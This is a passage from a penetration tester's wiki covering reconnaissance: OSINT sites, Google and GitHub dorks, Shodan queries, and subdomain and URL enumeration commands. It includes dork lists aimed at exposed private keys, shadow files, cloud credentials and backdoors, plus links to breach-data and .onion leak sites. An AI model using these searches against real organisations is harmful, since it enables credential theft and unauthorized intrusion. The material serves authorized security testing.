# /home/six2dez/.pentest-book

This book contains a bunch of info, scripts and knowledge used during my pentests.

Thanks to visit this site, please consider enhance this book with some awesome tools or techniques you know, you can contact me by Telegram([@six2dez](https://t.me/six2dez)), Twitter([@six2dez1](https://twitter.com/Six2dez1)) or Discord([six2dez#8201](https://discordapp.com/users/six2dez#8201)), GitHub pull request is welcomed too ;) **Hack 'em all**

### **Usage: Just use the search bar at the upper or navigate through the sections of the left zone. Enjoy it** :blush:&#x20;

**Don't you know where to go now?** Let me introduce you to some of the most **popular pages** on this wiki:

* Know your target! Make a proper [recon](/recon/public-info-gathering)!
* What can you do in those strange [ports](/enumeration/ports)?
* Doing a [web pentest](/enumeration/web)? Don't forget to check out any of these common attacks!
* Do you have the same hype as me with [cloud ](/enumeration/cloud)services? They also have their vulnerabilities
* Stuck again with Windows and [Kerberos](/post-exploitation/windows/ad/kerberos-attacks)? Here is my cheatsheet
* The mobile world does not stop growing, see my tips for [Android ](/mobile/android)and [iOS](/mobile/ios)
* [Burp Suite ](/others/burp)is the tool most loved by everyone, but you have to know a few tricks, also check my [preferred extensions](/others/burp#preferred-extensions)
* I'm really proud of [Pentesting Web Checklist](/others/web-checklist)
* If you want to know which web fuzzer fits you best, take a look at the [comparison](/others/web-fuzzers-comparision).

**Important note**: I use this wiki daily for my work and I am constantly updating it. I'm very sorry if a link to a page changes or I move it, if you need something you are free to contact me.

You can support this work buying me a coffee:&#x20;

{% embed url="<https://www.buymeacoffee.com/six2dez>" %}

### Stargazers over time

![Stargazers over time](https://starchart.cc/six2dez/pentest-book.svg)


# Public info gathering

> **Skill Level**: Beginner\
> **Prerequisites**: None - good starting point

## OSINT resources

```bash
https://osintframework.com/
https://i-intelligence.eu/uploads/public-documents/OSINT_Handbook_2020.pdf
https://start.me/p/DPYPMz/the-ultimate-osint-collection
https://docs.google.com/spreadsheets/d/18rtqh8EG2q1xBo2cLNyhIDuK9jrPGwYr9DI2UncoqJQ
https://cipher387.github.io/
```

## OSINT websites

```bash
# Multipurpose
https://shodan.io/
https://censys.io/
https://onyphe.io/
https://app.netlas.io/
https://hunter.how/
https://fofa.so/
https://fullhunt.io/
https://www.zoomeye.org/
https://www.criminalip.io/
https://leakix.net/
https://www.yougetsignal.com/
https://intelx.io/
https://pentest-tools.com/
https://gofindwhois.com/
https://gofindwho.com/

# Track website changes
https://visualping.io/
https://web.archive.org

# Companies info
https://opencorporates.com/companies

# Domain Recon
https://www.robtex.com/
https://centralops.net
https://viewdns.info/
https://phpinfo.me/domain
http://bgp.he.net/
https://bgpview.io/
https://suip.biz/
https://dnsdumpster.com/
https://www.whoxy.com/
http://ipv4info.com/
https://rapiddns.io/
https://myip.ms/
https://www.reversewhois.io/?
https://www.whoxy.com/reverse-whois/
https://reverse-whois.whoisxmlapi.com/api
https://host.io/dashboard
https://completedns.com/dns-history/

# Analytics
https://mmhdan.herokuapp.com/
https://publicwww.com/
https://intelx.io/tools?tab=analytics
https://dnslytics.com/reverse-analytics
https://builtwith.com/

# Mailserver blacklists
http://multirbl.valli.org/

# Verify emails
https://tools.emailhippo.com/

# Dark web exposure
https://immuniweb.com/radar/

# New acquisitions
https://crunchbase.com/

# Public APIs
https://www.postman.com/explore/
https://rapidapi.com/

# APIs Recon
https://serene-agnesi-57a014.netlify.app/

# Exif Data 
https://exif-viewer.com

```

## General / AIO

```bash
# https://github.com/OWASP/Amass
# Get ASN
amass intel -org "whatever"
# Reverse whois
amass intel -active -asn NUMBER -whois -d domain.com
# SSL Cert Grabbing
amass enum -active -d example.com -cidr IF.YOU.GOT.THIS/24 -asn NUMBER

# https://github.com/smicallef/spiderfoot
spiderfoot -s domain.com

# https://github.com/j3ssie/Osmedeus
python3 osmedeus.py -t example.com

# https://github.com/thewhiteh4t/FinalRecon
python3 finalrecon.py --full https://example.com

# https://github.com/laramies/theHarvester
theHarvester -d domain.com -b all

# https://github.com/lanmaster53/recon-ng
recon-ng
```

## Whois/Registrant Tools

```bash
# https://github.com/jpf/domain-profiler
./profile target.com

# Standard whois tool
whois

# Whoxy api
# https://www.whoxy.com/
# Whoxy clients
# https://github.com/MilindPurswani/whoxyrm
# https://github.com/vysecurity/DomLink

# Registrant's domains related
# https://github.com/harleo/knockknock
knockknock -n "companyORregistrant" -p

# Bulk whois
# https://github.com/melbadry9/WhoEnum
```

## Dorks

{% embed url="<https://github.com/cipher387/Dorks-collections-list>" %}

### Google

#### Tools

```bash
# Google Dorks Cli
# https://github.com/six2dez/dorks_hunter
python3 dorks_hunter.py -d domain.com

# Google Dork builder
http://advangle.com/
```

#### Dorks

```bash
# Google dorks helper
https://dorks.faisalahmed.me/
# Ip search by dorking
https://0iq.me/gip/

# Code share sites
site:http://ideone.com | site:http://codebeautify.org | site:http://codeshare.io | site:http://codepen.io | site:http://repl.it | site:http://jsfiddle.net "company"
# GitLab/GitHub/Bitbucket
site:github.com | site:gitlab.com | site:bitbucket.org "company"
# Stackoverflow
site:stackoverflow.com "target.com"
# Project management sites
site:http://trello.com | site:*.atlassian.net "company"
# Pastebin-like sites
site:http://justpaste.it | site:http://pastebin.com "company"
# Config files
site:target.com ext:xml | ext:conf | ext:cnf | ext:reg | ext:inf | ext:rdp | ext:cfg | ext:txt | ext:ora | ext:env | ext:ini
# Database files
site:target.com ext:sql | ext:dbf | ext:mdb
# Backup files
site:target.com ext:bkf | ext:bkp | ext:bak | ext:old | ext:backup
# .git folder
inurl:"/.git" target.com -github
# Exposed documents
site:target.com ext:doc | ext:docx | ext:odt | ext:pdf | ext:rtf | ext:sxw | ext:psw | ext:ppt | ext:pptx | ext:pps | ext:csv
# Other files
site:target.com intitle:index.of | ext:log | ext:php intitle:phpinfo "published by the PHP Group" | inurl:shell | inurl:backdoor | inurl:wso | inurl:cmd | shadow | passwd | boot.ini | inurl:backdoor | inurl:readme | inurl:license | inurl:install | inurl:setup | inurl:config | inurl:"/phpinfo.php" | inurl:".htaccess" | ext:swf
# SQL errors
site:target.com intext:"sql syntax near" | intext:"syntax error has occurred" | intext:"incorrect syntax near" | intext:"unexpected end of SQL command" | intext:"Warning: mysql_connect()" | intext:"Warning: mysql_query()" | intext:"Warning: pg_connect()"
# PHP errors
site:target.com "PHP Parse error" | "PHP Warning" | "PHP Error"
# Login pages
site:target.com inurl:signup | inurl:register | intitle:Signup
# Open redirects
site:target.com inurl:redir | inurl:url | inurl:redirect | inurl:return | inurl:src=http | inurl:r=http
# Apache Struts RCE
site:target.com ext:action | ext:struts | ext:do
# Search in pastebin
site:pastebin.com target.com
# Linkedin employees
site:linkedin.com employees target.com
# Wordpress files
site:target.com inurl:wp-content | inurl:wp-includes
# Subdomains
site:*.target.com
# Sub-subdomains
site:*.*.target.com
#Find S3 Buckets
site:.s3.amazonaws.com | site:http://storage.googleapis.com | site:http://amazonaws.com "target"
# Traefik
intitle:traefik inurl:8080/dashboard "target"
# Jenkins
intitle:"Dashboard [Jenkins]"

# Other 3rd parties sites
https://www.google.com/search?q=site%3Agitter.im%20%7C%20site%3Apapaly.com%20%7C%20site%3Aproductforums.google.com%20%7C%20site%3Acoggle.it%20%7C%20site%3Areplt.it%20%7C%20site%3Aycombinator.com%20%7C%20site%3Alibraries.io%20%7C%20site%3Anpm.runkit.com%20%7C%20site%3Anpmjs.com%20%7C%20site%3Ascribd.com%20%22united%22
# Backup files
https://www.google.com/search?q=site%3Aunited.com%20ext%3Abkf%20%7C%20ext%3Abkp%20%7C%20ext%3Abak%20%7C%20ext%3Aold%20%7C%20ext%3Abackup
# Login pages
https://www.google.com/search?q=site%3Aunited.com%20inurl%3Asignup%20%7C%20inurl%3Aregister%20%7C%20intitle%3ASignup
# Config files
https://www.google.com/search?q=site%3Aunited.com%20ext%3Axml%20%7C%20ext%3Aconf%20%7C%20ext%3Acnf%20%7C%20ext%3Areg%20%7C%20ext%3Ainf%20%7C%20ext%3Ardp%20%7C%20ext%3Acfg%20%7C%20ext%3Atxt%20%7C%20ext%3Aora%20%7C%20ext%3Aenv%20%7C%20ext%3Aini
# .git folder
https://www.google.com/search?q=inurl%3A%5C%22%2F.git%5C%22%20united.com%20-github
# Database files
https://www.google.com/search?q=site%3Aunited.com%20ext%3Asql%20%7C%20ext%3Adbf%20%7C%20ext%3Amdb
# Open redirects
https://www.google.com/search?q=site%3Aunited.com%20inurl%3Aredir%20%7C%20inurl%3Aurl%20%7C%20inurl%3Aredirect%20%7C%20inurl%3Areturn%20%7C%20inurl%3Asrc%3Dhttp%20%7C%20inurl%3Ar%3Dhttp
# Code share sites
https://www.google.com/search?q=site%3Asharecode.io%20%7C%20site%3Acontrolc.com%20%7C%20site%3Acodepad.co%20%7Csite%3Aideone.com%20%7C%20site%3Acodebeautify.org%20%7C%20site%3Ajsdelivr.com%20%7C%20site%3Acodeshare.io%20%7C%20site%3Acodepen.io%20%7C%20site%3Arepl.it%20%7C%20site%3Ajsfiddle.net%20%22united%22
# Pastebin-like sites
https://www.google.com/search?q=site%3Ajustpaste.it%20%7C%20site%3Aheypasteit.com%20%7C%20site%3Apastebin.com%20%22united%22
# Linkedin employees
https://www.google.com/search?q=site%3Alinkedin.com%20employees%20united.com
# Project management sites
https://www.google.com/search?q=site%3Atrello.com%20%7C%20site%3A*.atlassian.net%20%22united%22
# Other files
https://www.google.com/search?q=site%3Aunited.com%20intitle%3Aindex.of%20%7C%20ext%3Alog%20%7C%20ext%3Aphp%20intitle%3Aphpinfo%20%5C%22published%20by%20the%20PHP%20Group%5C%22%20%7C%20inurl%3Ashell%20%7C%20inurl%3Abackdoor%20%7C%20inurl%3Awso%20%7C%20inurl%3Acmd%20%7C%20shadow%20%7C%20passwd%20%7C%20boot.ini%20%7C%20inurl%3Abackdoor%20%7C%20inurl%3Areadme%20%7C%20inurl%3Alicense%20%7C%20inurl%3Ainstall%20%7C%20inurl%3Asetup%20%7C%20inurl%3Aconfig%20%7C%20inurl%3A%5C%22%2Fphpinfo.php%5C%22%20%7C%20inurl%3A%5C%22.htaccess%5C%22%20%7C%20ext%3Aswf
# Sub-subdomains
https://www.google.com/search?q=site%3A*.*.united.com
# Jenkins
https://www.google.com/search?q=intitle%3A%5C%22Dashboard%20%5BJenkins%5D%5C%22%20%22united%22
# Traefik
https://www.google.com/search?q=intitle%3Atraefik%20inurl%3A8080%2Fdashboard%20%22united%22
# Cloud buckets S3/GCP
https://www.google.com/search?q=site%3A.s3.amazonaws.com%20%7C%20site%3Astorage.googleapis.com%20%7C%20site%3Aamazonaws.com%20%22united%22
# SQL errors
https://www.google.com/search?q=site%3Aunited.com%20intext%3A%5C%22sql%20syntax%20near%5C%22%20%7C%20intext%3A%5C%22syntax%20error%20has%20occurred%5C%22%20%7C%20intext%3A%5C%22incorrect%20syntax%20near%5C%22%20%7C%20intext%3A%5C%22unexpected%20end%20of%20SQL%20command%5C%22%20%7C%20intext%3A%5C%22Warning%3A%20mysql_connect()%5C%22%20%7C%20intext%3A%5C%22Warning%3A%20mysql_query()%5C%22%20%7C%20intext%3A%5C%22Warning%3A%20pg_connect()%5C%22
# Exposed documents
https://www.google.com/search?q=site%3Aunited.com%20ext%3Adoc%20%7C%20ext%3Adocx%20%7C%20ext%3Aodt%20%7C%20ext%3Apdf%20%7C%20ext%3Artf%20%7C%20ext%3Asxw%20%7C%20ext%3Apsw%20%7C%20ext%3Appt%20%7C%20ext%3Apptx%20%7C%20ext%3Apps%20%7C%20ext%3Acsv
# Wordpress files
https://www.google.com/search?q=site%3Aunited.com%20inurl%3Awp-content%20%7C%20inurl%3Awp-includes
# Apache Struts RCE
https://www.google.com/search?q=site%3Aunited.com%20ext%3Aaction%20%7C%20ext%3Astruts%20%7C%20ext%3Ado
# GitLab/GitHub/Bitbucket
https://www.google.com/search?q=site%3Agithub.com%20%7C%20site%3Agitlab.com%20%7C%20site%3Abitbucket.org%20%22united%22
# Subdomains
https://www.google.com/search?q=site%3A*.united.com
# Stackoverflow
https://www.google.com/search?q=site%3Astackoverflow.com%20%22united.com%22
# PHP errors
https://www.google.com/search?q=site%3Aunited.com%20%5C%22PHP%20Parse%20error%5C%22%20%7C%20%5C%22PHP%20Warning%5C%22%20%7C%20%5C%22PHP%20Error%5C%22
```

### GitHub

#### Tools

```
#https://github.com/obheda12/GitDorker
python3 GitDorker.py -tf ~/Tools/.github_tokens -q united.com -p -ri -d Dorks/medium_dorks.txt
```

#### Dorks

```bash
".mlab.com password"
"access_key"
"access_token"
"amazonaws"
"api.googlemaps AIza"
"api_key"
"api_secret"
"apidocs"
"apikey"
"apiSecret"
"app_key"
"app_secret"
"appkey"
"appkeysecret"
"application_key"
"appsecret"
"appspot"
"auth"
"auth_token"
"authorizationToken"
"aws_access"
"aws_access_key_id"
"aws_key"
"aws_secret"
"aws_token"
"AWSSecretKey"
"bashrc password"
"bucket_password"
"client_secret"
"cloudfront"
"codecov_token"
"config"
"conn.login"
"connectionstring"
"consumer_key"
"credentials"
"database_password"
"db_password"
"db_username"
"dbpasswd"
"dbpassword"
"dbuser"
"dot-files"
"dotfiles"
"encryption_key"
"fabricApiSecret"
"fb_secret"
"firebase"
"ftp"
"gh_token"
"github_key"
"github_token"
"gitlab"
"gmail_password"
"gmail_username"
"herokuapp"
"internal"
"irc_pass"
"JEKYLL_GITHUB_TOKEN"
"key"
"keyPassword"
"ldap_password"
"ldap_username"
"login"
"mailchimp"
"mailgun"
"master_key"
"mydotfiles"
"mysql"
"node_env"
"npmrc _auth"
"oauth_token"
"pass"
"passwd"
"password"
"passwords"
"pem private"
"preprod"
"private_key"
"prod"
"pwd"
"pwds"
"rds.amazonaws.com password"
"redis_password"
"root_password"
"secret"
"secret.password"
"secret_access_key"
"secret_key"
"secret_token"
"secrets"
"secure"
"security_credentials"
"send.keys"
"send_keys"
"sendkeys"
"SF_USERNAME salesforce"
"sf_username"
"site.com" FIREBASE_API_JSON=
"site.com" vim_settings.xml
"slack_api"
"slack_token"
"sql_password"
"ssh"
"ssh2_auth_password"
"sshpass"
"staging"
"stg"
"storePassword"
"stripe"
"swagger"
"testuser"
"token"
"x-api-key"
"xoxb "
"xoxp"
Jenkins
OTP
oauth
authoriztion
password
pwd
ftp
dotfiles
JDBC
key-keys
send_key-keys
send,key-keys
token
user
login-singin
passkey-passkeys
pass
secret
SecretAccessKey
app_AWS_SECRET_ACCESS_KEY AWS_SECRET_ACCESS_KEY
credentials
config
security_credentials
connectionstring
ssh2_auth_password
DB_PASSWORD
[WFClient] Password= extension:ica
access_key
bucket_password
dbpassword
dbuser
extension:avastlic "support.avast.com"
extension:bat
extension:cfg
extension:env
extension:exs
extension:ini
extension:json api.forecast.io
extension:json googleusercontent client_secret
extension:json mongolab.com
extension:pem
extension:pem private
extension:ppk
extension:ppk private
extension:properties
extension:sh
extension:sls
extension:sql
extension:sql mysql dump
extension:sql mysql dump password
extension:yaml mongolab.com
extension:zsh
filename:.bash_history
filename:.bash_history DOMAIN-NAME
filename:.bash_profile aws
filename:.bashrc mailchimp
filename:.bashrc password
filename:.cshrc
filename:.dockercfg auth
filename:.env DB_USERNAME NOT homestead
filename:.env MAIL_HOST=smtp.gmail.com
filename:.esmtprc password
filename:.ftpconfig
filename:.git-credentials
filename:.history
filename:.htpasswd
filename:.netrc password
filename:.npmrc _auth
filename:.pgpass
filename:.remote-sync.json
filename:.s3cfg
filename:.sh_history
filename:.tugboat NOT _tugboat
filename:_netrc password
filename:apikey
filename:bash
filename:bash_history
filename:bash_profile
filename:bashrc
filename:beanstalkd.yml
filename:CCCam.cfg
filename:composer.json
filename:config
filename:config irc_pass
filename:config.json auths
filename:config.php dbpasswd
filename:configuration.php JConfig password
filename:connections
filename:connections.xml
filename:constants
filename:credentials
filename:credentials aws_access_key_id
filename:cshrc
filename:database
filename:dbeaver-data-sources.xml
filename:deployment-config.json
filename:dhcpd.conf
filename:dockercfg
filename:environment
filename:express.conf
filename:express.conf path:.openshift
filename:filezilla.xml
filename:filezilla.xml Pass
filename:git-credentials
filename:gitconfig
filename:global
filename:history
filename:htpasswd
filename:hub oauth_token
filename:id_dsa
filename:id_rsa
filename:id_rsa or filename:id_dsa
filename:idea14.key
filename:known_hosts
filename:logins.json
filename:makefile
filename:master.key path:config
filename:netrc
filename:npmrc
filename:pass
filename:passwd path:etc
filename:pgpass
filename:prod.exs
filename:prod.exs NOT prod.secret.exs
filename:prod.secret.exs
filename:proftpdpasswd
filename:recentservers.xml
filename:recentservers.xml Pass
filename:robomongo.json
filename:s3cfg
filename:secrets.yml password
filename:server.cfg
filename:server.cfg rcon password
filename:settings
filename:settings.py SECRET_KEY
filename:sftp-config.json
filename:sftp-config.json password
filename:sftp.json path:.vscode
filename:shadow
filename:shadow path:etc
filename:spec
filename:sshd_config
filename:token
filename:tugboat
filename:ventrilo_srv.ini
filename:WebServers.xml
filename:wp-config
filename:wp-config.php
filename:zhrc
HEROKU_API_KEY language:json
HEROKU_API_KEY language:shell
HOMEBREW_GITHUB_API_TOKEN language:shell
jsforce extension:js conn.login
language:yaml -filename:travis
msg nickserv identify filename:config
org:Target "AWS_ACCESS_KEY_ID"
org:Target "list_aws_accounts"
org:Target "aws_access_key"
org:Target "aws_secret_key"
org:Target "bucket_name"
org:Target "S3_ACCESS_KEY_ID"
org:Target "S3_BUCKET"
org:Target "S3_ENDPOINT"
org:Target "S3_SECRET_ACCESS_KEY"
password
path:sites databases password
private -language:java
PT_TOKEN language:bash
redis_password
root_password
secret_access_key
SECRET_KEY_BASE=
shodan_api_key language:python
WORDPRESS_DB_PASSWORD=
xoxp OR xoxb OR xoxa
s3.yml
.exs
beanstalkd.yml
deploy.rake
.sls
— — — — — — — — — — — — — — — — — — -BASH — — — — — — — — — —
language:bash password
language:bash pwd
language:bash ftp
language:bash dotfiles
language:bash JDBC
language:bash key-keys
language:bash send_key-keys
language:bash send,key-keys
language:bash token
language:bash user
language:bash login-singin
language:bash passkey-passkeys
language:bash pass
language:bash secret
language:bash credentials
language:bash config
language:bash security_credentials
language:bash connectionstring
language:bash ssh2_auth_password
— — — — — — — — — — — — — — — — — — -PYTHON — — — — — — — — —
language:python password
language:python pwd
language:python ftp
language:python dotfiles
language:python JDBC
language:python key-keys
language:python send_key-keys
language:python send,key-keys
language:python token
language:python user
language:python login-singin
language:python passkey-passkeys
language:python pass
language:python secret
language:python credentials
language:python config
language:python security_credentials
language:python connectionstring
language:python ssh2_auth_password

org:facebookresearch https://
org:facebookresearch http://
org:facebookresearch ldap
org:facebookresearch ftp
org:facebookresearch sftp
org:facebookresearch host:
org:facebookresearch login

```

### Shodan

#### Dorks

```bash
port:"9200" elastic
product:"docker"
product:"kubernetes"
hostname:"target.com"
host:"10.10.10.10"
# Spring boot servers, look for /env or /heapdump
org:YOUR_TAGET http.favicon.hash:116323821 
```

## ASN/CIDR Tools

```bash
# Company string name to CIDR
# https://github.com/dhn/spk
spk -json -s "Google"

# Versatile tool with multiple input options and output formats
# https://github.com/projectdiscovery/asnmap
asnmap -i 1.3.3.7 -org GOOGLE -d facebook.com,twitter.com -a AS394161

# https://github.com/nitefood/asn
asn -n 8.8.8.8

# https://github.com/j3ssie/metabigor
echo "company" | metabigor net --org
echo "ASN1111" | metabigor net --asn

# https://github.com/yassineaboukir/Asnlookup
python asnlookup.py -m -o <Organization>

# https://github.com/harleo/asnip
asnip -t domain.com -p

# https://github.com/projectdiscovery/mapcidr
echo 10.10.10.0/24 | mapcidr

# https://github.com/eslam3kl/3klector
python 3klector.py -t company

# https://github.com/SpiderLabs/HostHunter
python3 hosthunter.py targets.txt

# Website (with API)
https://asnlookup.com/
```

## Credentials leaks

```bash
# pwndb
# https://github.com/davidtavarez/pwndb
python3 pwndb.py --target asd@asd.com

# Websites
https://link-base.org/index.php
http://xjypo5vzgmo7jca6b322dnqbsdnp3amd24ybx26x5nxbusccjkm4pwid.onion/
http://pwndb2am4tzkvold.onion
https://weleakinfo.to/
https://www.dehashed.com/search?query=
https://haveibeenpwned.com
https://breachchecker.com
https://vigilante.pw/
https://leak.sx/
https://intelx.io
https://search.illicit.services/
https://breachdirectory.org/

breachdirectory.org + (hashes.com || md5decrypt.net || crackstation.net)# Nice combination

# Check hashes with this tool
https://github.com/jackrendor/jhf
```

## Email tools

```bash
# https://github.com/SimplySecurity/SimplyEmail
./SimplyEmail.py

pip3 install mailspoof
sudo mailspoof -d domain.com

# Test email spoof
https://emkei.cz/

# Find emails in an org
https://hunter.io
https://snov.io/email-finder
https://app.snov.io/domain-search
https://hunter.io/

# https://github.com/sham00n/buster
buster -e target@example.com

# https://github.com/m4ll0k/Infoga
python infoga.py

# https://github.com/martinvigo/email2phonenumber
python email2phonenumber.py scrape -e target@email.com

# https://github.com/jkakavas/creepy/

# https://github.com/Josue87/EmailFinder
emailfinder -d domain.com

# https://github.com/laramies/theHarvester
python3 theHarvester.py -d domain.com -b "linkedin"
```

## GIT tools

```bash
# https://github.com/obheda12/GitDorker
python3 GitDorker.py -tf TOKENSFILE -q tesla.com -d dorks/DORKFILE -o target

# https://github.com/dxa4481/truffleHog
trufflehog https://github.com/Plazmaz/leaky-repo
trufflehog --regex --entropy=False https://github.com/Plazmaz/leaky-repo

# https://github.com/eth0izzle/shhgit
shhgit --search-query AWS_ACCESS_KEY_ID=AKIA

# https://github.com/d1vious/git-wild-hunt
python git-wild-hunt.py -s "extension:json filename:creds language:JSON"

# https://shhgit.darkport.co.uk/

# GitLab (API token required)
# https://github.com/codeEmitter/token-hunter
./token-hunter.py -g 123456
```

## Metadata

```bash
# https://github.com/Josue87/MetaFinder
metafinder -d "domain.com" -l 10 -go -bi -ba -o united
```

## Social Media

```bash
# General
https://analystresearchtools.com/

# Twitter
# https://github.com/twintproject/twint
twint -u username

# Google account
# https://github.com/mxrch/ghunt
python hunt.py myemail@gmail.com

# Instagram
# https://github.com/th3unkn0n/osi.ig
python3 main.py -u username

# Public GDrive docs
https://www.dedigger.com/#gsc.tab=0

# Websites
emailrep.io # Accounts registered by email
tinfoleak.com # Twitter
mostwantedhf.info # Skype
searchmy.bio # Instagram
search.carrot2.org # Results grouped by topic
boardreader.com # forums
searchcode.com # search by code in repositories
swisscows.com # semantic search engine
publicwww.com # search by source page code
psbdmp.ws # search in pastebin
kribrum.io # social-media search engine
whatsmyname.app
```


# Root domains

### Basic

```bash
# https://github.com/OWASP/Amass 
amass intel -d domain.com -whois 

# Search on Google
https://google.com/search?q=united+airlines 

# Analyze owners on domainbigdata
https://iqwhois.com/
```

### Reverse whois

```
https://viewdns.info/reversewhois/?q=United+Airlines
https://tools.whoisxmlapi.com/reverse-whois-search
```

### ASN

```bash
https://bgp.he.net/search?search%5Bsearch%5D=united+airlines&commit=Search 
whois -h whois.radb.net -- '-i origin AS11535' | grep -Eo "([0-9.]+){4}/[0-9]+" | uniq 
whois -h whois.radb.net -- '-i origin AS20461' | grep -Eo "([0-9.]+){4}/[0-9]+" | uniq | mapcidr -silent | dnsx -ptr -resp-only -retry 3 -silent
```

### Favicon

```bash
# https://github.com/pielco11/fav-up
python3 favUp.py -ff ~/favicon.ico --shodan-cli 

# https://github.com/devanshbatham/FavFreak
cat urls.txt | python3 favfreak.py 

# https://faviconhasher.herokuapp.com/

# https://www.shodan.io/search?query=http.favicon.hash%3A-382492124

# https://github.com/edoardottt/favirecon
favirecon -u https://target.com/ -v
```

### Google Analytics ID

```bash
https://builtwith.com/relationships/united.com
https://builtwith.com/relationships/tag/UA-29214177
https://api.hackertarget.com/analyticslookup/?q=united.com
https://api.hackertarget.com/analyticslookup/?q=UA-16316580
```

### DNS manual recon

```bash
dnsrecon -d www.example.com -a 
dnsrecon -d www.example.com -t axfr
dnsrecon -d www.example.com -g
dnsrecon -d www.example.com -D /usr/share/wordlists/subdomains.txt -t brt

dig www.example.com + short
dig www.example.com MX
dig www.example.com NS
dig www.example.com> SOA
dig www.example.com ANY +noall +answer
dig -x www.example.com
dig -4 www.example.com (For IPv4)
dig -6 www.example.com (For IPv6)
dig www.example.com mx +noall +answer example.com ns +noall +answer
dig -t AXFR www.example.com
dig axfr @10.11.1.111 example.box

dnsenum 10.11.1.111
```

### Reverse IP search

```bash
# Get domain from IP
# https://reverse-ip.whoisxmlapi.com/
# https://github.com/projectdiscovery/dnsx
cat ips.txt | dnsx -ptr -resp-only -silent -retry 3
```

### TLD bruteforcing

```
# TLD bruteforcing tool
https://github.com/Sybil-Scan/TLDbrute
```


# Subdomain Enum

> **Skill Level**: Beginner\
> **Prerequisites**: Basic DNS understanding

## Passive sources

```bash
# https://github.com/OWASP/Amass
# https://github.com/OWASP/Amass/blob/master/examples/config.ini
amass enum -passive -d domain.com

# https://github.com/projectdiscovery/subfinder
# https://github.com/projectdiscovery/subfinder#post-installation-instructions
subfinder -d domain.com -all -silent

# https://github.com/tomnomnom/assetfinder
assetfinder example.com

# https://github.com/tomnomnom/waybackurls
# https://github.com/tomnomnom/unfurl
echo domain.com | waybackurls | unfurl -u domains

# https://github.com/lc/gau
# https://github.com/tomnomnom/unfurl
gau --subs example.com | unfurl -u domains

## Cert Transparency
# https://certificate.transparency.dev/
# https://crt.sh/
# https://github.com/glebarez/cero
cero example.com
# https://github.com/UnaPibaGeek/ctfr
python3 ctfr.py -d domain.com

# Active crtsh monitoring
#https://github.com/g0ldencybersec/gungnir
gungnir -r domains.txt

# https://github.com/gwen001/github-subdomains
github-subdomains -d example.com -t tokens.txt -o output.txt

# https://github.com/christophetd/censys-subdomain-finder
python3 censys-subdomain-finder.py example.com

# https://github.com/SmoZy92/Shodomain
python shodomain.py <SHODAN-API-KEY> example.com

# https://github.com/Cgboal/SonarSearch
crobat -s example.com
```

## Active DNS resolution

```bash
# Generate custom resolvers list, always
# https://github.com/vortexau/dnsvalidator
dnsvalidator -tL https://public-dns.info/nameservers.txt -threads 200

# https://github.com/d3mondev/puredns
puredns resolve subdomains.txt -r ~/Tools/resolvers.txt

## BF
# https://github.com/d3mondev/puredns
puredns bruteforce ~/Tools/subdomains.txt united.com -r ~/Tools/resolvers.txt

# https://github.com/projectdiscovery/shuffledns
shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
```

## Alterations and permutations

```bash
#https://github.com/Josue87/gotator
gotator -sub subdomains/subdomains.txt -perm permutations_list.txt -depth 1 -numbers 10 -mindup -adv -md
```

## Crawling

```bash
# 1st resolve subdomains on valid websites
# https://github.com/projectdiscovery/httpx
cat subdomains.txt | httpx -follow-host-redirects -random-agent -status-code -silent -retries 2 -title -web-server -tech-detect -location -o webs_info.txt
# Clean output
cat webs_info.txt | cut -d ' ' -f1 | grep ".domain.com" | sort -u > websites.txt
# Crawl them
# https://github.com/jaeles-project/gospider
gospider -S websites.txt --js -t 20 -d 2 --sitemap --robots -w -r > urls.txt
# Clean output
# https://github.com/tomnomnom/unfurl
cat urls.txt | sed '/^.\{2048\}./d' | grep -Eo 'https?://[^ ]+' | sed 's/]$//' | unfurl -u domains | grep ".domain.com"
```

## DNS records

```bash
# https://github.com/projectdiscovery/dnsx
dnsx -retry 3 -a -aaaa -cname -ns -ptr -mx -soa -resp -silent -l subdomains.txt
```

## DNS wordlists

```
# https://gist.githubusercontent.com/six2dez/a307a04a222fab5a57466c51e1569acf/raw
# https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt
# https://gist.github.com/jhaddix/f64c97d0863a78454e44c2f7119c2a6a
```

## Other techniques

### Google Analytics ID

```bash
# https://github.com/Josue87/AnalyticsRelationships
cat subdomains.txt | analyticsrelationships
```

### Subdomain discovery with Burp

Navigate through target main website with Burp:

* Without passive scanner
* Set forms auto submit
* Scope in advanced, any protocol and one keyword ("tesla")
* Last step, select all sitemap, Engagement Tools -> Analyze target


# Subdomain Takeover

## Explanation

1. Domain name (sub.example.com) uses a CNAME record for another domain (sub.example.com CNAME anotherdomain.com).&#x20;
2. At some point, anotherdomain.com expires and is available for anyone's registration.&#x20;
3. Since the CNAME record is not removed from the DNS zone of example.com, anyone who records anotherdomain.com has full control over sub.example.com until the DNS record is present.

## Resources

{% embed url="<https://0xpatrik.com/takeover-proofs/>" %}

{% embed url="<https://github.com/EdOverflow/can-i-take-over-xyz>" %}


# Webs recon

## Resolution

```bash
# https://github.com/projectdiscovery/httpx
cat subdomains/subdomains.txt | httpx -follow-redirects -random-agent -status-code -silent -retries 2 -title -web-server -tech-detect -location -no-color -o websites.txt
```

## WAF Checks

```bash
# https://github.com/EnableSecurity/wafw00f 
wafw00f -i websites.txt

# IP Wafs/CDN lists
https://github.com/MISP/misp-warninglists
```

## CMS

```bash
# https://github.com/Tuhinshubhra/CMSeeK 
tr '\n' ',' < websites.txt > cms_test.txt 
python3 cmseek.py -l cms_test.txt --batch -r
```

## Web screenshot

```bash
# https://github.com/sensepost/gowitness
gowitness file -f websites.txt 
gowitness report serve -D gowitness.sqlite3
```

## Fuzzing

```bash
# https://github.com/ffuf/ffuf
ffuf -mc all -fc 404 -ac -sf -s -w wordlist.txt -u https://www.domain.com/FUZZ
```

## URLs

### URL extraction

```bash
 # https://github.com/jaeles-project/gospider
 gospider -S websites.txt --js -t 20 -d 2 --sitemap --robots -w -r > urls.txt

 # https://github.com/lc/gau
 cat websites.txt | gau --subs 
 
 # https://github.com/tomnomnom/waybackurls 
 cat websites.txt | waybackurls 
 
 # https://github.com/gwen001/github-endpoints 
 github-endpoints -q -k -d united.com -t tokens_github.txt 
 
 # https://github.com/Josue87/roboxtractor 
 cat webs.txt | roboxtractor -m 1 -wb

 # https://github.com/projectdiscovery/katana
 katana -u target.com -ps -silent -pss waybackarchive,commoncrawl,alienvault -o urls.txt ##Passive mode
 katana -u target.com -duc -silent -nc -jc -kf all -fx -xhr -ef woff,css,png,svg,jpg,woff2,jpeg,gif,svg -aff -o urls.txt ##Crawling and Spidering

 # https://github.com/xnl-h4ck3r/waymore
